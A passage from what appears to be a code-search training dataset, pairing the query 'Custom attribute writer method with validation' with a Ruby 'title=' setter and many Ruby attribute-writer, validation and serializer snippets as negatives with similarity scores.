"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def validate\n validate_string_attributes\n end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def method_missing(method_name, *args)\n method_match, attribute_name, equal_sign = method_name.to_s.match(/\\A([^=]+)(=)?\\Z/).to_a\n if attribute_name && self.class.valid_attributes.include?(attribute_name.to_sym)\n if equal_sign \n attributes[attribute_name.to_sym] = args.first\n else\n attributes[attribute_name.to_sym]\n end\n else\n super\n end\n end",
"def attribute; end"
] | [
"0.6469466",
"0.63154924",
"0.63154924",
"0.62801963",
"0.6276904",
"0.6209469",
"0.6185987",
"0.6180369",
"0.6069702",
"0.60325414",
"0.5996202",
"0.5990781",
"0.59591186",
"0.5935022",
"0.59287345",
"0.5892344",
"0.58594006",
"0.58489454",
"0.5847319",
"0.5844102",
"0.58309245",
"0.58234525",
"0.5821743",
"0.578401",
"0.57033354",
"0.56943",
"0.5678991",
"0.5676746",
"0.566351",
"0.56564575",
"0.56547743",
"0.5639536",
"0.56198114",
"0.561275",
"0.56096065",
"0.5598718",
"0.55965704",
"0.5595575",
"0.55836296",
"0.5583188",
"0.5582274",
"0.5568424",
"0.5566351",
"0.5564544",
"0.5563798",
"0.556157",
"0.5559787",
"0.5559787",
"0.55586964",
"0.55549264",
"0.55549264",
"0.55371714",
"0.5533541",
"0.55256367",
"0.5525553",
"0.55208707",
"0.5504545",
"0.5498023",
"0.5494999",
"0.54942703",
"0.5463716",
"0.5460371",
"0.545971",
"0.54507726",
"0.544683",
"0.544683",
"0.54346514",
"0.5431235",
"0.5431235",
"0.54237705",
"0.5420334",
"0.54133177",
"0.5408093",
"0.54058015",
"0.540229",
"0.53987634",
"0.53976214",
"0.5389599",
"0.5381615",
"0.537715",
"0.5374951",
"0.5372736",
"0.5369188",
"0.536673",
"0.53626937",
"0.5361245",
"0.5357287",
"0.5349714",
"0.5349563",
"0.53483653",
"0.53470504",
"0.5343208",
"0.5329236",
"0.5329236",
"0.53199697",
"0.53199697",
"0.53199697",
"0.5319374",
"0.53168637",
"0.53128254",
"0.53120893"
] | 0.0 | -1 |
Custom attribute writer method with validation | def title=(title)
if !title.nil? && title.to_s.length > 50
fail ArgumentError, "invalid value for 'title', the character length must be smaller than or equal to 50."
end
@title = title
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
